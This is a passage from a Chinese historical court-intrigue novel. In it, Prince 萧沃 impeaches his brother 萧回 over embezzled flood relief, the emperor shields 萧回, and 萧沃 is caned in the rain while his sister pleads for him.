“什么天命,都是糊弄傻子的!”陈昀骂,“与其信一些牛鬼蛇神,你倒不如信你的母亲!你错得起吗?萧泊舟,你对得起陛下的期待吗?对得起本宫——对你的期待吗?”
萧回没有力气了:“母后,儿臣错了。”
“这时候知道认错了?你什么时候听过本宫的话?在校场上,本宫给你使多少眼色,不要坐在本宫旁边,你呢!视若无睹!还跟他当着晦朔司的面掰扯,你把本宫的脸都丢尽了!还有,你……”
那天,陈昀劈头盖脸地骂了萧回很久。他心里很平静,陈昀怎么骂得也就听进去了一半。前边还在骂他狂悖,后面就是赵照哭,陈昀骂,俩人跟戏班子似的又哭又闹。
萧回自始至终都没有解释,他为什么要在众人面前与萧沃对着干。
其实,他也不知道为什么,他本身对萧沃没有敌意。
至于为什么跟萧沃对着干,或许是他知道,自己这么做会惹火陈昀,动辄挨打挨骂,或许他是为了确认,陈昀还会不会用处理小时候的自己的办法处理现在的自己。
果然,陈昀二十年如一日地选择打骂。
母亲并不好奇萧沃说的“天命”,反倒揪着自己犯的错不放。在自己的妻子面前,像惩罚一条不听话的狗那样惩罚自己。
这样的日子什么时候才会结束,萧回悲观地想,或许,得等到陈昀死或是自己去死。
——也许,这就是我的命。
—
萧沃出了宫,就去了温府,拜见他的先生温如璋。
萧沃刚一进门,就作揖行弟子礼:“老师,别来无恙。”
温如璋、以及他的独孙温潜站起来回礼,齐声说:“见过岷王殿下。”
萧沃起身,自觉地坐在了温如璋对面,温潜为萧沃续上茶水,便侍立在温如璋身后。
温如璋端起茶杯,说:“恭喜殿下。”
“应该是我感谢老师才对。”萧沃也端起茶杯,“若无老师指点,学生恐怕猜不中题目。今日就以茶代酒,敬老师。”
饮尽,温潜再次为他续上了茶。
“虽然
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这场加试是临时起意。”温如璋说,“但是殿下献刀给了陛下足够的理由,把原本的第一名拉出来加试。”
“父皇都知道了?”萧沃疑问,“父皇怎么知道的?”
温如璋答:“乔竹心。”
萧沃冷笑:“这位乔司丞可真是父皇的得力干将,老二筹谋那么久,把人藏得那么深,这都能查出来?”
“晦朔司恐怖如斯,”温如璋看着氤氲的茶,“你带的那个人,估计乔竹心也一块报给了陛下。”
萧沃说:“她的策论是我手把手带出来的,乔司丞这要是都看不出来,那她真是白干了。”
“殿下这么做,恐怕会惹陛下不快。”温如璋说,“其实从一开始,我就不同意殿下送人。”
“我也是临时起意,”萧沃摩挲着茶碗边缘,“父皇明知道她是我的人,却还是留下了她——他等着看我能掀起多大风浪。”
“陛下将这三个女人放在一起,其实就是看老天到底会帮谁。”温如璋说,“那两个女子都是屹王精挑细选出来的人,结果还是输给了殿下。殿下乃天命所至,陛下心里有数。”
“就怕此事过后,父皇会更偏袒老二。”萧沃说。
温如璋说:“殿下莫要心急。陛下再偏袒二殿下,也不会直接把他封为储君。”
“是啊,我与他,没什么不同。”
四年前,萧回的母亲由贵妃晋为了皇后,萧回一夜之间从庶子变为了嫡子。
之后,皇帝将他派往潼裕历练,去年他大破力剌立下军功,一时风光无限。
萧回为嫡出,有军功,最近还生下了长孙,怎么看,都是最合适的储君人选。
一边是战功赫赫的萧回,一边是无功但有过、“疯”病缠身的萧沃,大多数臣子支持屹王府,倒也情有可原。
然而,皇帝迟迟未做出选择。
没人知道他在盘算着什么。
但萧沃清楚,自己的父皇为何举棋不定。正如那场加试,皇帝会选唯一活下来的那个。
“殿下,老爷,林汝为林大人来了。”
温如璋看向萧沃,问:“殿下请的?”
萧沃点头。
温如璋:“快请进来。”
“下官见过殿下、老师。”林汝为穿了黑色披风,他悄悄来的温府。
温潜为林汝为拿了个软垫,放在了温如璋、萧沃中间的位置。萧沃指了指位置说:“师兄,请坐。”
“谢殿下。”林汝为坐下,说,“下官收到殿下的来信,便马不停蹄来了温府。殿下信中所说,可是真的?”
萧沃点头:“千真万确。”
林汝为说:“潼裕这场水灾,丘州最严重,各级官员克扣赈灾,百姓民不聊生。陛下宣下官回京,正是为了此事。潼裕官员贪墨甚多,陛下有意派人去清算。”
萧沃抿了一口茶。
“之前我在潼裕找到了三个证人。”萧沃说,“他们原本可以上殿,直接指控老二指使潼裕官员贪墨。结果,他们在进京路上遭遇马匪截杀,无一生还。”
林汝为叹息:“这帮人还是太敏锐了。”
温如璋说:“若殿下从潼裕带回来的那女子能上殿作证,我们便可以在明日早朝弹劾屹王。”
萧沃想了想,却说:“不可。”
林汝为与温如璋对视一样,先后问:“为何?”
萧沃:“大考之前,她遇刺了。我身边有老二的人,如果让她去作证,只怕人家会从天涯追到海角,只为了要她的命。”
林汝为与温如璋对视一眼。
“潼裕官员层层盘剥赈灾款,已经到了草芥人命的地步,朝廷不能坐视不理。”萧沃深吸一口气,“明日,我依然会参老二一本。”
温如璋若有所思:“没有证人,殿下直接弹劾,恐怕胜算不大。”
“我就是证人。”萧沃说。
温潜小声问:“殿下,需不需要国子监帮殿下一把?”
温如璋明显怔住。
温潜身为国子监博士,若在萧沃弹劾萧回时,带学生在宫外跪谏,或许可以逼皇帝彻查潼裕官员贪墨案。
萧沃摇头:“不可。”
温潜:“为何?”
“我不知陛下是何态度,未到山穷水尽之时,你不要掺和进来。”萧沃说,“我不希望老师为难。”
温如璋心里落下一块石头:“多谢殿下。”
萧沃对林汝为说:“只是,师兄……”
林汝为知道,潼裕出了事,皇帝第一个问责他这个做巡抚的。
林汝为说:“殿下不必担心,潼裕出了这样的乱子,下官难辞其咎。只是潼裕的官员都以屹王殿下马首是瞻是事实,他们盘剥赈灾款,也都是打着屹王的名号,下官不能再听之任之。明日,下官会助殿下一臂之力。”
16. 威逼
萧沃离开温府后,先去了趟罄音楼,买了一些精致的小菜糕点,之后来到了兰见春所居住的小屋子。
他敲门,没人理;又敲,又没人理。过了一会,他再敲,门终于开了。
“兰夫人?”
兰见春看起来并不开心,见到他也低着头。
萧沃问:“吃晚饭了吗?”
兰见春摇头。
“正好,我也没吃,这有些小糕点,刚好可以垫垫胃口。”萧沃微微侧头看她的脸,“你让我进去,好吗?”
兰见春没动位置,继续把萧沃“拒之门外”。他有些尴尬,问:“是因为那把刀吗?”
“与刀没关系,”兰见春终于开口了,“我害怕。”
萧沃说:“父皇爱养这些猛兽,但今日,我也是第一次见他让人与兽相斗。这太过火了,兰夫人吓坏了吧?”
兰见春沉默许久,眼前不停地回忆起校场的情形,易咏、灵晔一个个地惨死在自己面前,而皇帝在鼓掌、叫好。
她说:“陛下没拿我们当人看。”
萧沃沉默了。
月光潺潺地洒下来,在院子里汇聚成一潭空明的水,其中草荇交横,是槐树的影子。
风动,水动,树影动。
兰见春低头看着自己的衣角,萧沃低头看她,他们的影子挨在一起,都被困在黑暗里,彼此能依靠的只有彼此。
“除了他自己,他不把任何人当人看。”萧沃冷静地说,“我、我母后、我弟弟、我妹妹、我舅父……都算不得人,是工具,是筹码,是棋子。
“从前,我还会期待他能把我当成他的儿子,直到我母后难产去世,他将我刚出生的弟弟逐出皇宫,将我囚禁于府中三年,我才认清了他。”
兰见春感觉眼睛有些涩:“这样的人怎么能做父亲?怎么能当皇帝?”
“这些话,你跟我说说就可以了。”萧沃说,“让别人知道,你得掉脑袋。”
兰见春愤懑不平地咬着牙,她心里不痛快,替自己,替萧沃,替死去的易咏和灵晔,都感到不值。
“事实已经这样了,我们改变不了。”萧沃还说,“但咱得把自己当人,只要能活着,就好好活着,吃饱喝足,什么都不怕。”
“无妄之灾,”兰见春双手掩面,她靠在门上,把头转过去,不让萧沃看见自己流泪了,“我就看着她们死在我面前,我什么都做不了。”
“你活下来了,这就是她们所期望的。”
兰见春心眼难受,她一直用袖子擦眼泪。从校场回来,她就一直恍恍惚惚,豹子冲上来啃咬人的脖颈的样子还历历在目,就算她捂住耳朵,也还是能听见豹子的咆哮。
萧沃就站在门边,默默地等她。他想抱抱她,但又觉得这样不合适,只能干望着她,心都快碎了。
兰见春擦了半天的眼泪,才想起来人还被她甩在外面。她让出路,说:“殿下请进。”
萧沃进门,帮她把门栓好。他牵起兰见春的袖角,领人来到了小厨房,摊开了食盒:有一碟酸辣小白菜,一碟醋拌海蜇,一碟玫瑰饼,一碟枣花酥。
兰见春小声说:“我吃不下。”
萧沃搬了一条长板凳,坐在了灶台边,他拍拍身边的空位:“请坐,兰夫人。”
兰见春捂着胃口,还是摇头。
“你一天没吃饭了,”萧沃说,“肚子不饿?”
兰见春摇头,光害怕和愤怒就够她喝一壶了,现在别说吃饭,连半口水都喝不下。
萧沃端起其中一个盘子,说:“玫瑰饼,是潼裕的玫瑰,不尝一尝吗?家乡的味道。”
兰见春望着他的眼睛,他那么期待,就不忍心拒绝了。她坐在萧沃身边,捏起一块饼,浅浅地咬了一口。
萧沃问:“好吃吗?”
兰见春点头。
萧沃:“跟潼裕的味像吗?”
兰见春又点头。
“那就好。”萧沃粲然而笑,自己也拿了一块饼吃。
两个人挤在灶台旁吃东西,就像两只藏在厨房里偷吃剩饭的老鼠。
甜丝丝的味道在兰见春唇齿间化开,心头的苦淡了一分。她擦擦鼻子,骂过皇帝,心里就好受了不少。
但她能做的,也只有在背后骂两句,之后去了晦朔司,该给他卖命给他卖命,总不可能胆大包天地杀了他。兰见春还指着皇帝给死去的家人做主呢。
“今晚我见到了林汝为,就是潼裕巡抚。”萧沃吃着玫瑰饼,轻描淡写地说。
兰见春一惊,望着萧沃:“真的?”
萧沃又说:“林大人已经知道了你的事。”
兰见春腾地一下站起来,说:“可需要我做些什么?”
萧沃被她吓了一跳:“你先坐下。”
“巡抚大人要怎么解决?”兰见春坐下,可屁股下边就跟长了钉子似的坐不住,“我可以当证人。”
萧沃吃甜的吃多了腻得慌,夹了两口海蜇吃。他摇头,说:“什么都不用做。”
“什么意思?”
“我明日就会禀告陛下潼裕官员克扣赈灾一事,求陛下派人去查贪。”萧沃说,“但你我都清楚,何瑞生的死,吴沟村被屠,绝对不是官员贪腐这么简单。”
兰见春不甘心:“这事不能按贪腐案查。”
萧沃说:“但现在只能按照贪腐查。你已经受过一轮刺杀,好不容易进了晦朔司,应该藏锋。不能因为这一时,再惹来杀身之祸。”
兰见春握住他的手腕,坚定地说:“我不怕死。”
萧沃注视她的眼睛,点头:“我知道。”
兰见春质问:“那为什么要把吴沟村的事揭过去?”
“害你们的人手眼通天,我们轻易动不了他。”萧沃说,“晦朔司监察天下,你只有蛰伏在此,才能找出来吴沟村为何被害,为谁所害。兰夫人,莫要心急。”
兰见春:“你现在查潼裕贪腐,难道不会打草惊蛇?”
“会,但我得这么做。”萧沃说,“水患过后,潼裕至今民不聊生。不杀一批贪官污吏,我实在寝食难安。”
兰见春轻声说:“可是你说的,蛰伏。”
“也有人对我说,老百姓的苦,时间长了可就没人记得了。”萧沃安慰她说,“我可是陛下的嫡长子——有老师和其他朝臣们护着,不至于丢了性命。”
兰见春担心地说:“那会不会有其他危险?”
萧沃眼睛亮亮的:“你是在关心我吗?”
这话听起来颇为暧昧,但萧沃的眼睛闪着光,兰见春并不觉得他在调侃自己。她微微颔首,说:“对。”
萧沃“嗤”地一声笑,他越看兰见春,就越想笑,最后笑出了眼泪。
兰见春不知道他在笑什么:“我不明白你。你在笑话我吗?”
“我为什么要笑话你?”萧沃望着兰见春,感慨道,“我是笑你,就那么毫不遮掩地,把心里怎么想的都说了出来。”
兰见春急道:“都什么时候了,你还笑!”
萧沃拍拍自己的心口,悄悄地说:“这里,不一样了。”
兰见春有些迟钝,她不懂萧沃的言外之意。
萧沃望着她的眉眼,说:“我今天来是想告诉你,明天之后,无论我发生什么事,你都不要理会。”
兰见春疑惑:“什么意思?”
萧沃:“你只需要记住,你现在是晦朔司的官,是皇帝的臣,万事都以自保为上。”
兰见春不说话。
萧沃继续说:“只要自己能活下去,背着良心也无所谓。”
兰见春一头雾水:“到底是什么意思?”
萧沃:“进了晦朔司之后,谨慎行事。那地方没一个人是好相处的,不要站队,不要轻信别人。”
兰见春点头。
不知为何,她的心总不踏实,萧沃话里话外有股交代后事的意思。
—
“臣有本启奏。”
早朝时,一向沉默的萧沃突然开口,吓得旁边的萧回盹都醒了。
皇帝诧异地瞪着萧沃,别人都看着,总不能让他把嘴闭上。但他有些紧张,鬼知道萧沃这个什么都敢说什么都敢做的人能有什么本启奏。
皇帝沉默了片刻,说:“准。”
“臣要弹劾屹王萧回,纵容潼裕官员贪墨枉法、草芥人命;
“臣要
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弹劾丘州、并州两地官员,加重赋税,克扣朝廷赈灾款,搜刮民脂民膏,导致百姓民不聊生;
“臣要弹劾潼裕巡抚林汝为失察,明知下属有错却不制止!”
他声如洪钟,给皇帝惊得直接站了起来——萧沃潼裕的官从上到下都弹劾了一遍,连他的师兄林汝为都没放过。
萧回站在他旁边,脸跟火烧一样红。皇帝刀子一样的眼神砸过来,萧回软绵绵地跪下,一时都想不到如何狡辩。
萧沃从怀中取出一份足有一指厚的奏本,双手呈上。皇帝一抬手,汪琢便下台阶,将他的奏本端给了皇帝。
萧沃说:
“陛下,半年前春耕时分,潼裕省天大旱,麦子死了四成。而丘州并州两地官员竟要求百姓交比去年多两成的赋税。收上来的赋税,其中有三成用于上缴,其余全进了地方的口袋。
“臣还查到,两州官员以屹王之名欺压百姓。赋税收不上来,官兵先是威逼,说,若交不了粮,就将百姓家中的男丁抓去充屹王军;若不见效,就说,会误了屹王殿下的军饷,是全家杀头的罪过。百姓只好卖儿鬻女,以填上窟窿。
“今年七月,潼裕闹了水患,丘州羌榆县死伤惨重,但在羌榆的吴沟、于沟等十一个村落,朝廷的赈灾迟迟不到。臣想去找羌榆县令庄典问个清楚,却发现庄典正与丘州知府章玉良,在青楼里把酒言欢。
“陛下,潼裕官员从上至下贪墨成风,已经将百姓逼得无路可逃。常言道,官逼民反,臣怕战乱起,又怕百姓忍死含苦,故——
“请陛下派都察院、晦朔司一同去潼裕,抓贪官、灭污吏、肃清官场风气,还百姓一个公道!”
萧沃磕了个响头。
萧回吓得已经趴在了地上:“父皇,儿臣什么都不知道!”
萧沃直起腰板,问萧回:“你不知道?!——整个潼裕,丘、并二州的百姓因为你的屹王军而叫苦不迭,你竟不知道?
“军营里吃的粮食都是西北百姓从牙缝里,一个一个抠出来的,你竟不知道?!春耕的时候天大旱,你竟也不知道!”
皇帝已经被他吵得闭上了眼睛。
萧回争道:“当时我已经回了京城!潼裕的消息不可能随时送到府上!手下的人做了什么事,我又怎么可能全知道?大哥,你未免太咄咄逼人了!”
皇帝睁开了眼睛。
“好,你不知道。”萧沃用笏板指着他的鼻子,说,“那我也要参你一个失察之罪!潼裕官员如此猖狂,你竟浑然不知浑然不觉——潼裕上下沆瀣一气,你岂能装瞎?!”
皇帝盯着萧回。
“没有!儿臣没有!”萧回哽咽地说,“儿臣不敢贪图一分啊父皇!”
萧沃冷哼:“不敢贪一分?那你用来打赏官员太监用的金瓜子从那来的?”
萧回急忙解释道:“那是,那是……”找不到词来解释,萧回舌头跟打结似的。
萧沃打断他:“哦——我帮你说——是大风刮来的!”
萧回着急说:“不是!”
萧沃追问:“究竟是哪来的?”
萧回额头上渗出细密的汗珠,就他平时那点例银,自然富不到这种程度。他怎么敢说钱从哪来,还不如承认是大风刮来的。
萧沃开始冷嘲热讽:“那大风怎么就那么通人性,怎么只往你屹王府吹金瓜子,却不往我岷王府吹?要怪就怪我吝啬,不曾撒钱打点身边的小鬼儿!”
“你含血喷人!”萧回也指着萧沃,“你哪来的证据,证明我也贪!”
“好啊!自己跳出来了!”萧沃又给皇帝跪下,恳切地说,“还请陛下明察!”
皇帝抬高了声音斥责:“吵够了没有!”
其余文武百官纷纷跪了下来。
萧沃又喊了一遍:“陛下明察!”
皇帝:“闹得朕头痛。”
萧沃继续说:“潼裕百姓身处水深火热,陛下万万不可坐视不理。查,要一查到底,把鱼肉百姓的官员一个个都抓起来,砍头、凌迟、五马分尸,以泄百姓之愤!”
皇帝站起来,大声道:“朕说朕头痛!”
汪琢迅速说:“退朝——传太医!”
17. 失望
“汪公公,陛下何时说过要退朝?”萧沃说,“传太医上殿即可。”
萧沃暗指汪琢越过皇帝传圣旨,急忙揩了把汗。好在皇帝没追究,他正被萧沃闹得太阳穴突突地跳。
萧回以双膝为足,爬到了台阶下边,哭着说:“父皇,儿臣真的没有……都是下边人干的事,儿臣什么都不清楚啊!”
皇帝又坐回了龙椅中,闭上了眼睛,脸色阴沉得像黑天。
萧回指着萧沃说:“萧沃!分明本王也是受害者,你为何只挑本王的错处,不挑你那个好师兄的错!他身为潼裕巡抚,治不好一地,应该他受罚,与本王这个武将有何关系!”
“陛下明鉴!”
林汝为自文官队伍中出列,说:“臣无能,自从知晓潼裕官员加赋税以中饱私囊,臣日日坐立难安。自盛平六年臣到任至今,臣向陛下递了六道奏本,以向陛下说明情况,恳求陛下肃清潼裕官场,可这六道奏本皆石沉大海!臣不相信陛下会坐视不理,必然是有小人从中作梗,将臣的奏本一一扣押!”
内阁首辅赵鹤听他这么一说,立马转过身看林汝为,笑道:“你说,内阁扣了你的奏本?”
林汝为从袖中取出六道奏本,摞起来双手呈上:“臣每写一道奏本,都会留有备份,从盛平六年至今,臣写的奏本都在这里,请陛下御览!”
“你如何证明,是内阁扣了你的奏本?”赵鹤转头跪下对皇帝说,“陛下明鉴!臣绝不敢做出扣押臣子奏本的事!”
此时户部尚书陈喆说了一句:“先帝规定,臣子的奏本,先送至晦朔司抄录、存档,再根据所奏事宜送到内阁继续上报。既然林大人说,确实交了这六道奏本,不如先去晦朔司查查,这六道奏本是不是真的进了上京?若有,那便是内阁失职,我等必不会逃避责任。”
皇帝给汪琢使了个眼神,他立马明白皇帝的意思,一溜烟地跑出去通知晦朔司调林汝为的奏本。
“潼裕贪腐是事实,陛下万万不可坐视不理。”萧沃深吸一口气,再叩头,“请陛下立刻派两司官员前去潼裕清查!”
一直沉默的温如璋站了出来:“臣附议。”
温如璋之后,工部尚书海益也站出来说“附议”,之后,少有几位官员站出来支持萧沃。
首辅赵鹤一言不发。
皇帝问:“赵卿,你觉得呢?”
“既然是岷王殿下亲眼所见,可知潼裕官员贪腐一事不假。”赵鹤说,“但由谁查案,有待商榷。”
温如璋问:“由晦朔司、都察院同查,有何不妥?”
赵鹤说:“臣以为,不必大动干戈。两司的人一起去潼裕,需要多少人力物力?户部负担不起。”
“儿臣愿戴罪立功!”萧回说,“儿臣也是受人蒙蔽,心中有愤!儿臣愿回潼裕肃清官场,以证清白啊父皇!”
萧沃骂道:“自己查自己,能查出来什么?!”
皇帝作壁上观,盯着互相拆台的儿子们,一言不发,他在等汪琢。
萧沃也说:“臣愿意自掏腰包,负担两司赴潼裕的所有费用,只希望陛下能以百姓为重,还官场一片清明!”
皇帝仍默不作声,一手扶着额头,呼吸却越来越快。太医战战兢兢地跪在一旁为他号脉,吓得他豆大的汗珠落在了地毯上。
偌大的朝堂,静得能听见每个人的呼吸声。
赵鹤闭上眼等汪琢。
温如璋则是一脸愁容,他眼皮一直跳,心里更是没一点着落。
汪琢不知道去了多久,萧回跪得竟有些体力不支。他擦擦汗,想向旁边一歪,转眼一看萧沃还板板正正地跪着,也强打精神好好跪。
萧沃冷着脸,面上风平浪静,其实心里比他脸上还要平静。萧回怎么盘算的他不知道,但萧沃都不想自己退路在哪。
——他就没想过今天能有退路。
他有把握,潼裕官员贪的钱必然有许多进了萧回的口袋。但皇帝会不会下手去查萧回,萧沃不确定。
如果皇帝还像以前那样偏心萧回怎么办……
如果陈昀突然上殿,给她儿子求情怎么办……
如果汪琢没有调回来林汝为的奏本又该怎么办……
萧沃顿时出了一身冷汗,他向后看去:林汝为还端着一摞奏本,等着呈给皇帝!
——皇帝没提前看他的奏本。
——皇帝根本就不关心潼裕贪腐一事!
只要没有晦朔司抄本,林汝为就会以欺君之罪论处,那便不是贬官那么简单,林家上下都会有性命之忧!
萧沃的心提到了嗓子眼。
赵鹤睁开了眼睛,才发觉不对劲。他感觉时间过去了很久,按理说,汪琢很快就能回来了。
赵鹤转眸看向温如璋,他却望着前方出神,也许是他太老了,从赵鹤的视角看,他的眼睛浑浊得像被搅开的池塘。
难道是晦朔司出了岔子?赵鹤回过头看陈喆,这老头已经开始擦汗了。
不对劲……汪琢在晦朔司耽误的时间太长了。
忽然,一阵急匆匆的脚步声冲进来。
“陛下!陛下!”汪琢跪下,“晦朔司抄本在此!”
皇帝猛然睁开眼睛,萧回、赵鹤、陈喆好像被一道雷击中似的,反观萧沃、林汝为、温如璋则暗自松了口气。
皇帝翻开了最上面一本,吩咐汪琢:“将林汝为手中的奏本一起呈上来!”
皇帝一本一本地看过,直到他看完最后一本,愤怒地将所有奏本扔向了萧回:“你自己看!看你干的好事!”
萧回随手捡起来一本,看过之后大惊失色:
早在盛平七年,林汝为的奏本上就明明白白地写了自己的副将的小妾的表弟的小舅子是怎么拿屹王名号欺侮佃农的。
萧回再看另一本,上面则记录了越仙居近三年的收支,消费大户则有丘州知府章玉良,还有自己手下的千户。
萧回不敢再看了。
“父皇!儿臣管束下属不利,但儿臣也不知道他们在外面干了这种事!”萧回都哽咽了,“父皇!儿臣一心想着如何对付力剌人,实在是——实在是——”
萧沃俯下身,嘲讽:“处理不好就不要干了。”
“你别找借口!”皇帝恨铁不成钢地瞪着萧回,转头又看向赵鹤,“短短几年六道奏本,全都在你内阁里丢了!你怎么跟朕解释,想!快点想些谎话,来骗朕!”
赵鹤连同一种内阁大臣纷纷下跪:“臣有罪!”
皇帝站起来,指着赵鹤那帮人:“潼裕与力剌接壤,你们怎么敢?!”
“陛下息怒!”汪琢也跪下说。
皇帝咆哮:“怎么敢?!!”
萧回叩头:“父皇息怒!”
萧沃冷眼看皇帝发飙。
“告诉乔竹心,给朕查内阁。”皇帝气得闭上了眼睛,“朕到底要看看,是谁弄丢了原件。”
萧沃说:“陛下圣明!”
“赵阁老、陈阁老,朕看你们也是老了,不如回府好好歇几天!这几日就不要来上朝了!”
萧沃说:“陛下圣明!”
“父皇息怒啊父皇!”萧回颤巍巍地往前爬,他的外祖父、老丈人都因为给他说话而禁足,那下一个被皇帝圈禁的就是自己了!
他喊:“求您念在儿臣平定力剌的份上,饶了儿臣,儿臣愿戴罪立功,赴潼裕锄奸!”
萧沃紧随其后:“王子犯法与民同罪!屹王治
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下不严,还请陛下责罚,以维护国法尊严!”
皇帝却不说话了,他盯着萧沃。萧沃一脸的大义凛然,倒真像个为民除害的英雄。他在温如璋那种清流眼中,是君子,是圣贤,是上苍赐给萧家的福气吧?
好一阵沉默。
“泊舟,”皇帝终于说话了,“起来。”
萧沃瞪大了眼睛,难以置信地看向皇帝。
皇帝对萧回说:“朕给你这个机会。”
“陛下不可!”萧沃焦急道,“自己查自己,能查出来什么?!”
萧回高呼:“儿臣必不辜负父皇所托!”
萧沃难以置信地喊:“陛下!”
皇帝反问:“你还想怎样?”
萧沃顿时明白了皇帝的意思。
今日他就是偏心,要袒护萧回,自己没有一丁点办法。
即便自己把萧回架在火上烤,皇帝也要和过往一样明晃晃地偏袒他。内阁四位大臣,皇帝警告了两位,他认为对萧回的惩罚足够了。
依然要包庇吗?
父皇啊,依然要为了一个便宜儿子,枉顾潼裕受灾受难的百姓吗?
这便是君,这便是父吗?
萧沃无奈地摇头,他苦笑着,流下了两行泪。
他举起双手,摘下了自己的乌纱帽。
温如璋看到后,低声道:“殿下!”
爵位不要了?命也不要了?!
任老师怎么喊,萧沃头也不回,把乌纱帽放在了地上。
一旁的萧回用余光看着那只乌纱帽,惊讶得眼珠子要蹦出来了。
金銮殿静得能听见心跳声。
皇帝死死盯着萧沃,气得脸慢慢变红。
萧沃站起来,继续揭下腰间的玉带,放在了乌纱帽旁,之后又脱掉了官服,板板正正地叠好,放在了玉带旁。
最后,他只剩下一身白色里衣,倒是轻轻松松、干干净净。
萧沃直视皇帝,眼白布满了红血丝,眼泪汪汪得盈在眼眶中,他咬牙忍着不让泪落下去。
“父皇,百姓苦。”
他转身离去。
路过文武百官,萧沃一个个地看过去,他们都把头压低,拒绝跟他有眼神接触。
“岷王萧沃,目无礼法。”皇帝瞪着萧沃的背影,愤懑不平地说,“廷杖二十,打入宗正寺,等候发落!泊舟,监刑。”
萧沃背对皇帝,站在金銮殿的中央,天阴得很,那点可怜的天光恰好落在他身上,暖不过来他凉透的心脏。
他无奈地笑,弓着背,流着眼泪,像抗不过狂风暴雨的槐,无力地向前倾倒。
温如璋刚想为萧沃求情:“陛下——”
“退朝!”皇帝拂袖而去。
天空轰隆一声,大雨倾盆而至。
萧沃终于支撑不住,瘫倒在地,他可以跪苍天、跪大地、跪百姓,此生却不可能再跪如此昏庸的君王。
他抬起头,望着殿外的雨幕,此时此刻,他无比憎恨自己:为何自己是他的儿子,为何自己身上还流着他的血?
这恶心的血缘,根本洗刷不掉。
连四肢百骸都变得恶心了。
不如去死,与其这样无力、愤怒地活着,倒不如死,一了百了。
两拨金吾卫冲上来,将萧沃摁在了木凳上。
雨很快就把他浇透了。
萧沃连骨头缝都冷,头发丝不停地往下滴水。
他想,如果母后见到自己这副模样,肯定会难过得心要碎了。她会流很多眼泪,她会把自己抱在怀里,她会像哄小孩子那样安抚自己的后背。
母后……我怎么才能不恨父皇?
萧沃闭上眼,等待第一杖落下。
18. 报复
萧回举着油纸伞,站在了萧沃面前。他给两边金吾卫使了个眼色,便喊道:“打!”
萧沃抬眼盯着萧回,他伫立在雨中,浑然没了适才求饶的狼狈模样,他天神似的冷着脸,像看垃圾似的看着自己。
他们之间只剩下敌意。胜者为王败者为寇的游戏打了一局又一局,分出胜负了吗?没有,他们本是同根生,却还像斗鸡一样被人驱使着互相攻击。
一杖下来,砸得萧沃差点昏过去。他耳中嗡鸣,来不及想别的,第二杖就又落了下来。
朝中所有臣子纷纷转过头看着萧沃,千百双眼睛盯着他,像密不透风的囚笼,将他的不堪、狼狈都困在其中。
温如璋、海益、林汝为偷偷抹眼泪,萧沃是本朝第一个被皇帝廷杖的皇子,也是本朝第一个敢为了万千穷苦百姓当堂脱官服摘乌纱帽的人。
皇帝的惩罚,让萧沃所做的一切都跟笑话一样,没有意义。
他穿着那么薄的单衣,没两下血、肉、衣料模糊得分不清彼此。
大杖一下下地砸在皮肉上,温如璋看得出来,金吾卫这是要把人往死里打。
“屹王殿下!”
萧回转头看向温如璋,温如璋本来想劝他手下留情,可见萧回那戏谑的眼神,顿时又不敢说出口了。他怕萧回会让金吾卫打得比现在还狠。
没打两下,萧沃就昏了过去。
“殿下昏过去了!”温如璋给萧回跪下,“二殿下,快让太医来看看吧!”
萧回不理会,没有停手的意思。他盯着萧沃身上的血痕,勾起了唇角。
他蹲下来,抚摸萧沃的侧脸,他终于抓到了俯视大哥的机会,萧回痛快地笑了,轻声说:“刚才光风霁月的模样呢?你是为民请命的君子,不也成为了这殿前的一摊烂肉?”
萧沃跟个死人似的。
萧回抓住他的发髻,把他的脑袋拉到自己跟前,依旧压低了嗓音:“我们这种人,最不该有的就是良心。父皇不需要所谓的君子,这条命就是让你自己作死的,等做了鬼,别索错命。”
萧沃没反应。
萧回甩开了萧沃,下令:“继续打!”
大杖卷起雨丝连片,如山崩海啸,斩在萧沃的血肉之躯上。
“大哥!大哥!”从远处跑来一个金尊玉贵的女子,她飞速地跑着,发髻跑散了也浑然不知。她冲金吾卫大吼:“别打了!”
萧回打了个“停”的手势,对那女子说:“你来干什么?快回宫去。”
萧锦没听见她亲哥说什么似的,跪在萧沃旁边,探探他是否还有鼻息,确认人还活着,双手握住了他冰凉的右手。
萧回抬高了声音:“昌宁!你耳朵聋了!”
萧锦用更高的嗓门质问萧回:“你非要把大哥打死才痛快吗?”
“快走,别在这耽误事。”萧回跨步上前,抓住萧锦的肩膀,就要把她拎起来。萧锦甩不开萧回,又不舍得离开萧沃,就抓着他不松手。
“这么多朝臣在这,别做出丑事来。”萧回松开了萧锦的肩膀,去掰萧锦的手。萧回力气太大了,差点把萧锦的手指折断。
忽然,有一个冰凉的手碰了碰她的手背。
萧沃勉强挣开半只眼,看见满目的锦绣和珠翠,他有些遗憾地说:“我没事。”
萧锦闻声立马蹲在了他身边:“大哥……你受苦了……”
萧沃望着她衣服上的牡丹花,闻着她身上甜美的花香,莫名就想起来在城墙边那处小院中闻见的皂角味、厨房里的饭菜香,他叹息:“回宫,别来这种地方。”
“不要……”
萧沃无奈地望着她,他没力气费口舌。
“你不好好在宫里待着,跑到金銮殿来,就不怕父皇怪罪?”萧回站在萧锦身后给她撑伞,“回去吧,不要忤逆父皇。”
“二哥,你放过大哥吧!”萧锦哭着求萧回,“再打人就残废了……”
萧回冷漠地说:“这是父皇的命令。”
“可二哥是监刑。”萧锦跪着爬向萧回,抓住了他的衣角,恳求道,“父皇是要罚,不是要杀!二哥……打也打过了,高抬贵手放了大哥吧!”
萧回失望地盯着萧锦,依然吩咐道:“继续打。”
“不要!”萧锦抱住了萧沃,挡在了他身上。金吾卫哪见过这场面,幸亏收的稳,不然这一杖就得打在昌宁公主身上了。
萧回憎恶地盯着萧锦,他不明白,明明自己与萧锦才是一奶同胞的亲兄妹,可从小到大,自己跟萧沃起了冲突,萧锦永远冲出来保护萧沃。
萧锦看一眼他身后的朝臣,低声说:“二哥,别一错再错。”
“父皇说,二十杖,”萧回问,“你要我抗旨吗?”
萧锦放开萧沃,走向萧回,小声说:“可父皇没说往死里打。二哥,大哥今天要是死在你手里,父皇绝对不会偏袒你。”
萧回盯着萧锦,烦躁得像着急下落的雨。她说的没错,如果萧沃死在自己手里,那自己也要被钉在耻辱柱上。估计那帮义愤填膺的文人会写一堆堆的檄文,像扔垃圾似的抛给屹王府。
但他不喜欢萧锦胳膊肘往外拐,从小到大,每次都一样,萧锦宁可帮萧沃这个外人,也不会帮自己。
“明明我们才是……”萧回咽下了“兄妹”两个字,取而代之的是一声叹。
萧锦漂亮的眼睛凝视萧回,轻声说:“高抬贵手,二哥。”
